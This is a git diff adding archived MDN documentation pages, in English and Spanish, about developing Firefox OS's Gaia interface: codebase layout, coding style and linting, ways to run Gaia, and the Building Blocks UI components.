+<p>This directory contains a JSON file, <code>languages_all.json</code>, which defines what languages are supported on Gaia. For more insight into how apps are localized, read <a href="/en-US/Apps/Build/Localization/Getting_started_with_app_localization">Getting started with app localization</a>.</p>
+<h3 id="shared">shared/</h3>
+<p>This directory contains a number of resources that multiple apps make use of; the most notable parts of these are:</p>
+<ul>
+ <li><code>gaia/shared/js</code>: JavaScript libraries that perform common functions</li>
+ <li><code>l10n.js</code>: A localisation library that detects your device's locale, and replaces localisable strings in your apps with the strings found in the apps locales folders. Localisable strings to be replaced are contained in elements with <code>data-l10n-id</code> attributes.</li>
+ <li><code>gaia/shared/locales</code>: Localised resources for different locales.</li>
+ <li><code>gaia/shared/resources</code>: Common assets such as icons, ringtones and alarm sound tracks.</li>
+ <li><code>gaia/shared/style</code>: stylesheets and other styling resources for common building blocks such as buttons, progress bars, toolbars, tabs, etc. For more information on these, see <a href="/en-US/Apps/Design/Firefox_OS_building_blocks">Firefox OS Building Blocks</a>.</li>
+ <li><code>gaia/shared/style_unstable</code>: unstable or experimental styling resources.</li>
+ <li><code>gaia/shared/test</code>: JavaScript to define integration and unit tests.</li>
+</ul>
+<h3 id="tools">tools/</h3>
+<p>The tools directory contains tools for build scripts and tests.</p>
+<h2 id="Gaia_coding_style">Gaia coding style</h2>
+<p>Gaia follows the <a href="http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml">Google JavaScript coding style</a>.</p>
+<p>Background information:</p>
+<ul>
+ <li>Coding Style: <a href="/en-US/docs/Mozilla/Developer_guide/Coding_Style#General_practices">General practices</a></li>
+ <li>Coding Style: <a href="/en-US/docs/Mozilla/Developer_guide/Coding_Style#JavaScript_practices">JavaScript practices</a></li>
+ <li>Coding Style: <a href="/en-US/docs/Mozilla/Developer_guide/Coding_Style#Naming_and_Formatting_code">Naming and formatting code</a></li>
+</ul>
+<h3 id="Specific_rules">Specific rules</h3>
+<ol>
+ <li>Make sure HTML files are declared with <code>&lt;!DOCTYPE html&gt;</code> (that is, as HTML5 documents). If you don't, Internet Explorer 9 and later will load them in compatibility mode.</li>
+ <li>Include the <code>"use strict";</code> statement (just like that, including the quotes) to the top of your JavaScript files to put them into strict mode.</li>
+ <li>Always use two spaces for indentation, rather than tabs.</li>
+ <li>Please use line breaks to separate logical bits of code!</li>
+ <li>Multi-word file names should use the "underscore" character to separate words, <code>like_this.js</code>.</li>
+ <li>Use single quotes instead of double quotes for strings.</li>
+ <li>Use expanded conditional structures:
+  <pre class="brush: js">Bad
+if (expression) doSomething();
+
+Correct
+if (expression) {
+  doSomething();
+}</pre>
+ </li>
+ <li>If you're working on the <a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/System">System app</a>, check out the <a href="https://groups.google.com/forum/#!msg/mozilla.dev.gaia/rEhSrw6XmT4/UNvE7qW9pgYJ">guidance listed here</a>.</li>
+</ol>
+<h3 id="Per_commit_coding_style_check">Per commit coding style check</h3>
+<p>Gaia uses <a href="http://www.jshint.com/">jshint</a> to automatically check JS coding styles before each commit (via a git pre-commit hook). Once you submit a Pull Request to the Gaia repository, the Travis (Github Continuous Integration) server will run this linter to double check all styles are right.</p>
+<p>The precommit hook script is in <a href="https://github.com/mozilla-b2g/gaia/blob/master/tools/pre-commit">gaia/tools/pre-commit</a> and will be copied to project's <code>.git/hooks</code> folder once a <code>make</code> command is executed.</p>
+<div class="note">
+ <p><strong>Note</strong>: We used to use <a href="https://developers.google.com/closure/utilities/docs/linter_howto">gjslint</a> to check coding styles, but we have since deprecated its use as jshint is stricter and produces better results. We’ve been using JSHint since Firefox OS 1.4, and gjslint is now only recommended for legacy files that have not yet been moved to JSHint.</p>
+</div>
+<h3 id="Running_linting_checks_manually_via_Gaia">Running linting checks manually via Gaia</h3>
+<p>Before submitting a patch we recommend you run JSHint on it manually to check for any style errors.<br>
+ <br>
+ You should look in the <a href="https://github.com/mozilla-b2g/gaia/tree/master/build/jshint">gaia/build/jshint</a> directory for more details about jshint in Gaia; Gaia provides the build script for you. You can run:</p>
+<pre class="brush: bash">$ make lint</pre>
+<p>to automatically run both the gjslint and jshint style checks. Or you can run</p>
+<pre class="brush: bash">$ make hint</pre>
+<p>to just run the jshint style check.</p>
+<div class="note">
+ <p><strong>Note</strong>: If you want to install jshint yourself, without using Gaia, you can use the following:</p>
+ <pre class="brush: bash">npm install jshint -g
+jshint myfile.js
+</pre>
+</div>
+<p> </p>
diff --git a/files/es/archive/b2g_os/developing_gaia/index.html b/files/es/archive/b2g_os/developing_gaia/index.html
new file mode 100644
index 0000000000..93fce20871
--- /dev/null
+++ b/files/es/archive/b2g_os/developing_gaia/index.html
@@ -0,0 +1,61 @@
+---
+title: Desarrollando Gaia
+slug: Archive/B2G_OS/Developing_Gaia
+tags:
+  - Construir
+  - Firefox OS
+  - Gaia
+  - Mozilla
+translation_of: Archive/B2G_OS/Developing_Gaia
+---
+<div class="summary">
+ <p><span class="seoSummary">Gaia es la interfaz de usuario de Firefox OS y el conjunto de aplicaciones por defecto: Incluye la pantalla de bloqueo, la pantalla de inicio, marcadores, y otras aplicaciones. Esencialmente, Gaia es un conjunto de aplicaciones web complejas que se ejecutan en la capa superior de la plataforma Firefox OS. Este conjunto de articulos cubre todo lo que necesita saber para contribuir con el proyecto Gaia.</span></p>
+</div>
+<p>En esta guía te llevaremos a un proceso de trabajo eficaz para contribuir con <em>Gaia</em> — y por eso queremos decir la adición de características al codigo base de  <em>Gaia</em> y trabajando en errores presentes en el proyecto <em>Gaia</em>. El primer grupo de articulos se puden trabajar en orden, o se puede saltar a la sección que necesita para recordar un aspecto específico de el proceso.</p>
+<p>Después de eso, se proporcionan materiales de referencia e información de temas adicionales.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7951/gaia-2.0-screen.png" style="padding: 0px 0px 30px 30px; width: 320px; height: 533px; float: right;"></p>
+<h2 id="Lo_básico">Lo básico</h2>
+<ol>
+ <li><a href="/es/Firefox_OS/Developing_Gaia/Running_the_Gaia_codebase">Ejecutar el codigo base de Gaia</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Understanding_the_Gaia_codebase"><span class="short_text" id="result_box" lang="es"><span class="hps alt-edited">Entender</span> <span class="hps alt-edited">el</span> <span class="hps alt-edited">código base</span> <span class="hps alt-edited">de Gaia</span></span></a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Making_Gaia_code_changes">Hacer cambios en el código de Gaia</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Test_Gaia_code_changes">Probando los cambios en el código de Gaia</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Enviar los cambios de Gaia</a></li>
+</ol>
+<h2 id="Referencia_contrucción_de_Gaia">Referencia contrucción de Gaia</h2>
+<ul>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Build_System_Primer">Introducción al sistema de contrucción de Gaia</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Customizing_build-time_apps">Personalizar aplicaciones en tiempo de compilación</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/make_options_reference">Referencia de las opciones del comando Make</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Gaia_tools_reference">Referencia a las herramientas de Gaia</a></li>
+</ul>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Informar sobre errores de Firefox OS</a></li>
+ <li><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">Guía de las aplicaciones de Gaia</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Diversi_modi_per_eseguire_Gaia">Diversidad de maneras para visualizar Gaia</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Market_customizations_guide">Guía de personalización de comercialización</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Customizing_the_keyboard">Personalización del teclado para las aplicaciones en Firefox OS</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Localizing_Firefox_OS">Localización en Firefox OS (Guía de localización)</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/L10n_Best_Practices">L10n Buenas Practicas (Para desarrolladores )</a></li>
+</ul>
+<p> </p>
+<p></p><div class="overheadIndicator communitybox" dir="ltr">
+
+    <div class="column-container">
+        <h2 id="Join_the_Gaia_community">Join the Gaia community</h2>
+        <div class="column-half">
+            <div class="communitysubhead">Choose your preferred method for joining the discussion:</div>
+            <ul class="communitymailinglist">
+  <li><a href="https://lists.mozilla.org/listinfo/dev-gaia"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.gaia"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.gaia/feeds"> como RSS</a></li>
+</ul>
+        </div>
+        <div class="column-half">
+            <ul class="communitycontact"><li><strong>IRC: </strong><a href="irc://irc.mozilla.org/gaia">#gaia</a> <span class="smaller">(<a href="https://wiki.mozilla.org/IRC">learn more</a>)</span></li><li><strong>Other IRC channels: </strong><a href="irc://irc.mozilla.org/b2g" title="Discuss B2G, the overall Firefox OS platform">#b2g</a>, <a href="irc://irc.mozilla.org/openwebapps" title="Talk with Web app developers">#openwebapps</a>, <a href="irc://irc.mozilla.org/webapi" title="Discuss Web APIs used to create powerful Web apps">#webapi</a></li></ul>
+        </div>
+    </div>
+</div><p></p>
diff --git a/files/es/archive/b2g_os/developing_gaia/running_the_gaia_codebase/index.html b/files/es/archive/b2g_os/developing_gaia/running_the_gaia_codebase/index.html
new file mode 100644
index 0000000000..334a44b435
--- /dev/null
+++ b/files/es/archive/b2g_os/developing_gaia/running_the_gaia_codebase/index.html
@@ -0,0 +1,47 @@
+---
+title: Ejecutar el codigo base de Gaia
+slug: Archive/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase
+tags:
+  - Gaia
+translation_of: Archive/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase
+---
+<div class="summary">
+ <p><span class="seoSummary">Este artículo se muestra en detalle cómo ejecutar el código base de Gaia, y qué herramienta están disponibles en esta configuración.</span></p>
+</div>
+<p>Para empezar, debemos señalar que NO tiene que compilar Gecko, o B2G, para contribuir con Gaia. Sólo tienes que descargar el código fuente de Gaia y tendrás la capacidad de ejecutarlo y editarlo.<br>
+ <br>
+ Hay diferentes formas de ejecutar Gaia:</p>
+<ul>
+ <li>Flashear tu teléfono con tu actualización Gaia.</li>
+ <li>Iniciar tu Gaia dentro de B2G Desktop.</li>
+ <li>Correr tu Gaia dentro del WebIDE.</li>
+ <li>Iniciar Gaia dentro de  nuestra herramienta de Firefox Mulet tool para correr Gaia en el Escritorio.</li>
+</ul>
+<p>Puedes encontrar información concisa de como <a href="/en-US/Firefox_OS/Developing_Gaia/Different_ways_to_run_Gaia">ejecutar Gaia de estas diferentes maneras </a>desde esta página, junto con enlaces e información detallada. En general, estos se ordenan de lo más complejo (experiencia más realista), a lo más fácil (experiencia menos realista).</p>
+<p>En este artículo vamos a concentrarnos en el funcionamiento de Gaia dentro de Firefox Mulet o en el WebIDE — para la mayoría de los cambios que hagas en el código base de Gaia, este mecanismo ofrece la forma más rapida de probar los cambios, pero obviamente hay algunas características (tales como probar las API del dispositivo o la interaccíon con el hardware del teléfono) no estarán disponibles, ya que necesitara un dispositivo real.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Para obtener más ayuda con Gaia, los mejores lugares son el canal #gaia (ver <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> para más información) y la <a href="https://lists.mozilla.org/listinfo/dev-gaia">lista de correo dev-gaia</a>.</p>
+</div>
+<h2 id="Ejecutar_tu_construcción_de_Gaia">Ejecutar tu construcción de Gaia</h2>
+<ol>
+ <li>Primero, hacer una bifurcación (fork) de el <a href="https://github.com/mozilla-b2g/gaia">Repositorio de Gaia en Github</a>.</li>
+ <li>Después, clona tu bifurcación localmente:
+  <pre class="brush: bash">git clone https://github.com/your-username/gaia.git</pre>
+ </li>
+ <li>Agrega tu producción (upstream) como esto:
+  <pre class="brush: bash">cd gaia
+git remote add upstream https://github.com/mozilla-b2g/gaia</pre>
+ </li>
+ <li>Now you need to create a Gaia profile. Running <code>make</code> inside your repo folder creates a profile in the <code>profile</code> directory, which is setup for optimal debugging. It creates unpackaged (hosted versions) of the Gaia apps that can be served directly via the local HTTPD server bundled along with Firefox desktop as an extension. When you make a change you just need to refresh your browser window to see the result (as you'll see later), rather than having to rebuild the profile, repush it to the device, etc. This is really good for rapid CSS/JS/HTML hacking.</li>
+ <li>With your debug profile built, run it in <a href="/en-US/Firefox_OS/Developing_Gaia/Different_ways_to_run_Gaia#Using_Gaia_in_Firefox_Mulet">Mulet</a> or <a href="/en-US/Firefox_OS/Developing_Gaia/Different_ways_to_run_Gaia#Using_Gaia_inside_WebIDE_with_a_Firefox_OS_Simulator">WebIDE</a>, using the linked instructions.</li>
+</ol>
+<h2 id="Troobleshooting_and_known_issues">Troobleshooting and known issues</h2>
+<h3 id="Error_Python_executable_python3_is_v3.x_which_is_not_supported_by_gyp.">Error: Python executable "python3" is v3.x, which is not supported by gyp.</h3>
+<p>On some Linux distributions (eg: Archlinux), the default <code>python</code> is <code>python3</code>. This makes <code>npm</code> fail when running some commands (eg. when running tests). To fix it once and for all, you can run the following command:</p>
+<pre>npm config set python python2</pre>
+<p>You can look at this <a href="http://stackoverflow.com/questions/20454199/how-to-use-a-different-version-of-python-duing-npm-install">Stack Overflow page</a> for other solutions.</p>
+<p>Then you should delete your <code>node_modules</code> directory and run the failed command again.</p>
+<h3 id="Please_Install_NodeJS_--_(use_aptitude_on_linux_or_homebrew_on_osx)">Please Install NodeJS -- (use aptitude on linux or homebrew on osx)</h3>
+<p>So, you get this error although you think you installed it. Chances are you're running Debian or another Debian-based distribution like Ubuntu. On these distributions, NodeJS is contained in the <code>nodejs</code> package, and you can install the <code>nodejs-legacy</code> package to set up everything correctly:</p>
+<pre>sudo aptitude install nodejs-legacy</pre>
+<p>If you have issues installing this package, maybe you're using <a href="http://www.ubuntuupdates.org/ppa/chris_lea_nodejs">Chris Lea's PPA for Node</a>; please remove it before moving forward.</p>
diff --git a/files/es/archive/b2g_os/elegir_como_ejecutar_gaia_o_b2g/index.html b/files/es/archive/b2g_os/elegir_como_ejecutar_gaia_o_b2g/index.html
new file mode 100644
index 0000000000..3a741cb101
--- /dev/null
+++ b/files/es/archive/b2g_os/elegir_como_ejecutar_gaia_o_b2g/index.html
@@ -0,0 +1,61 @@
+---
+title: Elegir cómo ejecutar Gaia o B2G
+slug: Archive/B2G_OS/Elegir_como_ejecutar_Gaia_o_B2G
+tags:
+  - B2G
+  - Firefox OS
+translation_of: Archive/B2G_OS/Choosing_how_to_run_Gaia_or_B2G
+---
+<p></p>
+<p>Dependiendo de tus necesidades, tienes varias opciones a considerar cuando experimentes con Firefox OS o la interfaz gráfica <a href="/en/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="en/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a>. Puedes elegir entre las opciones que te presentamos en esta página; cada opción tiene ventajas y desventajas a tener en cuenta, y algunas opciones son más flexibles que otras.</p>
+<h2 id="Ejecutar_B2G_en_un_equipo">Ejecutar B2G en un equipo</h2>
+<p>Es posible compilar un simulador de Firefox OS y ejecutar Gaia en él. Este programa está basado en Firefox pero se comporta de forma muy parecida a Firefox OS en un móvil. Actualmente, Mozilla proporciona <a href="https://wiki.mozilla.org/Gaia/Hacking#ATTENTION_-_Desktop_builds_now_available" title="https://wiki.mozilla.org/Gaia/Hacking#ATTENTION_-_Desktop_builds_now_available">versiones diarias de esta aplicación</a> para desarrolladores. Si estás familiarizado con cómo compilar el código fuente de Firefox u otros proyectos en C++, puedes compilar la aplicación tú mismo <a class="link-https" href="https://wiki.mozilla.org/Gaia/Hacking#Building_B2G" title="https://wiki.mozilla.org/Gaia/Hacking#Building_B2G">siguiendo estas instrucciones</a>.</p>
+<h3 id="Ventajas">Ventajas</h3>
+<ul>
+  <li>El simulador te proporciona un "viewport" del mismo tamaño que el de un móvil.</li>
+  <li>La experiencia es similar a la de un móvil de verdad en la mayoría de los casos.</li>
+  <li>Te da acceso a muchos de las APIs del dispositivo (aunque no a todos).</li>
+</ul>
+<h3 id="Desventajas">Desventajas</h3>
+<ul>
+  <li>Necesitas tener instalado un compilador para C/C++.</li>
+  <li>Tienes que compilar Gecko y el simulador tú mismo.</li>
+  <li>Las herramientas para desarrolladores de Firefox no están disponibles.</li>
+</ul>
+<h3 id="Razones_para_utilizar_el_simulador_B2G">Razones para utilizar el simulador B2G</h3>
+<p>El simulador es una sólida solución intermedia para desarollo y testeo. Es una buena manera de obtener una referencia de cómo tu aplicación o cualquier otro código funciona en un entorno similar a un móvil, sin tener que flashear un teléfono cada vez que quieras probar algo.</p>
+<div class="note">
+  <strong>Atención:</strong> Antes de distribuir una aplicación, debes testearla primero en teléfonos de verdad.</div>
+<h3 class="note" id="Variantes_del_simulador">Variantes del simulador</h3>
+<p>Hay diferentes variantes del simulador de Firefox OS:</p>
+<dl>
+  <dt>
+    <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Firefox_OS_Simulator" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Firefox_OS_Simulator">Add-on</a></dt>
+  <dd>
+    Esta extensión en la herramienta fundamental para testear apps en Firefox OS, y es la solución recomendada para la mayoría de usuarios. Es compatible con las herramientas para desarrolladores, agregar aplicaciones al entorno de testeo, etcétera.</dd>
+  <dt>
+    Versiones "desktop" para desarrolladores</dt>
+  <dd>
+    Estas versiones del simulador son aplicaciones independientes creadas para ayudar al equipo de desarrolladores de Firefox OS a verificar características técnicas.</dd>
+  <dt>
+    Versiones "desktop" para traductores</dt>
+  <dd>
+    Las versiones para traductores son útiles para los equipos de localización, que las usan en su trabajo y para probar las traducciones de Firefox OS y sus aplicaciones.</dd>
+</dl>
+<h2 id="Ejecutar_B2G_en_un_dispositivo_móvil">Ejecutar B2G en un dispositivo móvil</h2>
+<p>La forma más completa de probar tu código para B2G o Gaia, o tu aplicación web, es compilar e instalar Firefox OS en un dispositivo móvil de verdad. Ésta es también la forma más compleja.</p>
+<h3 id="Ventajas_2">Ventajas</h3>
+<ul>
+  <li>Obtienes la experiencia real del dispositivo móvil.</li>
+  <li>Tienes acceso a todos las APIs del dispositivo.</li>
+  <li>Puedes comprobar el rendimiento de tu código en condiciones de uso reales.</li>
+</ul>
+<h3 id="Desventajas_2">Desventajas</h3>
+<ul>
+  <li>Necesitas tener instalado un compilador para C/C++.</li>
+  <li>Tienes que compilar Gecko y Gaia tú mismo.</li>
+  <li>Necesitas un dispositivo móvil compatible en el que instalar el sistema operativo B2G.</li>
+  <li>Tienes que flashear el móvil con B2G, eliminando el sistema operativo que esté instalado en el dispositivo.</li>
+</ul>
+<h3 id="Razones_para_utilizar_B2G_en_un_dispositivo_móvil">Razones para utilizar B2G en un dispositivo móvil</h3>
+<p>Obviamente, ésta es la forma más realista de testear cualquier código o proyecto web en B2G o Gaia. Ejecutando en hardware real, te aseguras de que tu proyecto rinde bien, de que su presentación es correcta, y de que utiliza todos las APIs del dispositivo adecuadamente. Además, <strong>siempre</strong> debes probar tu código en hardware de verdad antes de distribuirlo; no hacerlo puede tener desafortunadas consecuencias que son difíciles de predecir.</p>
diff --git a/files/es/archive/b2g_os/firefox_os_apps/building_blocks/index.html b/files/es/archive/b2g_os/firefox_os_apps/building_blocks/index.html
new file mode 100644
index 0000000000..e3d6ceee63
--- /dev/null
+++ b/files/es/archive/b2g_os/firefox_os_apps/building_blocks/index.html
@@ -0,0 +1,195 @@
+---
+title: Firefox OS Building Blocks
+slug: Archive/B2G_OS/Firefox_OS_apps/Building_blocks
+tags:
+  - Design
+  - Design patterns
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+  - UI
+  - building blocks
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Build and install</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Porting B2G OS</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/es/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
+</ol>
+</section><p></p>
+
+<div class="summary">
+<p>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</p>
+</div>
+
+<h2 id="Using_the_Firefox_OS_Building_Blocks">Using the Firefox OS Building Blocks</h2>
+
+<p>The code for the Firefox OS Building Blocks can be found in the <a href="https://github.com/mozilla-b2g/gaia">Gaia Github repo</a> under <a href="https://github.com/mozilla-b2g/gaia/tree/master/shared/style">shared/style</a>. Here, you can find a CSS file that contains the CSS for that particular Building Block, and a sub directory containing the HTML fragments and image assets. If you are creating your own standalone Web app, you can simply copy the CSS, HTML and image asset files across into your own project; if your app is intended to be installed on Firefox OS only (or you want to use these features only when the app is being used on Firefox OS), then you can link to the versions available inside Gaia.</p>
+
+<p>The pages for the individual Building Block implementations can be found under the pages for each building block — see next section. These contain instructions on how to implement each one.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The version 2.0 building block code is used in Firefox OS releases 2.0 through 2.2. Version 2.3 sees an update, with the building blocks being reimplemented using <a href="/en-US/docs/Web/Web_Components">Web components</a> — these provide the same functionality, but implemented in a much more powerful, flexible way. You'll see 2.3 pages appear underneath the main building block pages covering these Web components as soon as the information is available.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: We also have an old guide covering the <a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">v1.x building blocks</a> used in older versions of Firefox OS. This is mainly for legacy information.</p>
+</div>
+
+<h2 id="Web_components_preliminary_setup">Web components preliminary setup</h2>
+
+<p>This section details the preliminary setup needed to use Gaia Web components.</p>
+
+<h3 id="Web_components_browser_support">Web components browser support</h3>
+
+<p>To use <a href="https://github.com/gaia-components">Gaia Web components</a> at all, you need to run them using a browser that supports Web components. The state of support is as follows:</p>
+
+<ul>
+ <li>Firefox: Supported since Firefox 23 (33 on Android), but preffed off. To enable Web components, go to <code>about:config</code> and enable the <code>dom.webcomponents.enabled</code> pref.</li>
+ <li>Chrome: Supported since Chrome 33 (39 on Android).</li>
+ <li>Opera: Supported since Opera 20 (24 on Android).</li>
+ <li>Android browser: Supported since 4.4.4.</li>
+ <li>Safari/iOS Mobile and IE/IE mobile: Nope.</li>
+</ul>
+
+<p>Web components are supported in Firefox OS from v2.1 onwards, although most of them weren't actually implemented until v2.3. Be aware also that currently Web components won't work for Firefox OS apps below internal (certified) level. This restriction should be lessened in the future.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If your app is certified, the components will just work. You don't need to set a specific manifest permission.</p>
+</div>
+
+<h3 id="Web_components_installation_notes">Web components installation notes</h3>
+
+<p>Gaia Web components are installed in your app using the <a href="http://bower.io/">Bower</a> package manager. To install this, you first need <a href="http://nodejs.org/">Node.js/npm</a> and <a href="http://www.git-scm.com/">Git</a> installed. Once they are installed you can install Bower with</p>
+
+<pre class="brush: bash">npm install -g bower</pre>
+
+<p>At this point you could also install the Gaia Fira Sans font that Firefox OS uses in your app , with the following command:</p>
+
+<pre class="brush: bash">bower install gaia-components/gaia-fonts</pre>
+
+<p>You can then make use of the font by including the following in your head (along with a <code>font-family</code> of <code>FiraSans</code>):</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" type="text/css" href="bower_components/gaia-fonts/style.css"&gt;&lt;/link&gt;</pre>
+
+<h2 id="Firefox_OS_Building_Blocks">Firefox OS Building Blocks</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Action_menu">Action menu</a></dt>
+ <dd>An action menu presents a list of actions, related to the app's content, from which the user may make a selection.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Banners">Banners</a></dt>
+ <dd>Banners (Status, in older versions of Firefox OS) provide information to the user in a transitory fashion, typically to confirm an action or to alert the user to a system event.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Buttons">Buttons</a></dt>
+ <dd>Buttons are used to perform explicit actions. Buttons may be text or images.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Context_menu">Context menu</a></dt>
+ <dd>Accessed via a tap and hold gesture (sometimes called a <em>long press</em>), the Context Menu (called the Object Menu in older versions of Firefox OS) allows users to perform actions on objects without having to leave their current view.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Dialog">Dialog</a></dt>
+ <dd>A Dialog (Confirm, in older versions of Firefox OS) provides the user with some important information, asks the user to take or confirm an action, or allows the user to make a choice or enter some information.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Drawer">Drawer</a></dt>
+ <dd>The drawer is a scalable way for users to navigate between views or filter views. The drawer can also include links to app settings or other tools.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Header">Header</a></dt>
+ <dd>A header is a dedicated space at the top of the screen, most often used to display the view title. It can also include navigation, action buttons and other controls.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Input_area">Input area</a></dt>
+ <dd>An input area is a data entry field, and can be as simple as a text only entry field, or as complex as a multipart entry field with text entry, value selections, and buttons.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Layout">Layout</a></dt>
+ <dd>The Layout utility will help you to create common layout structures for your Firefox OS apps. Note that Layout is only available in Firefox OS 2.1 and above.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/List_items">List items</a></dt>
+ <dd>List items are typically used to navigate to a new screen, or to display information or controls.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
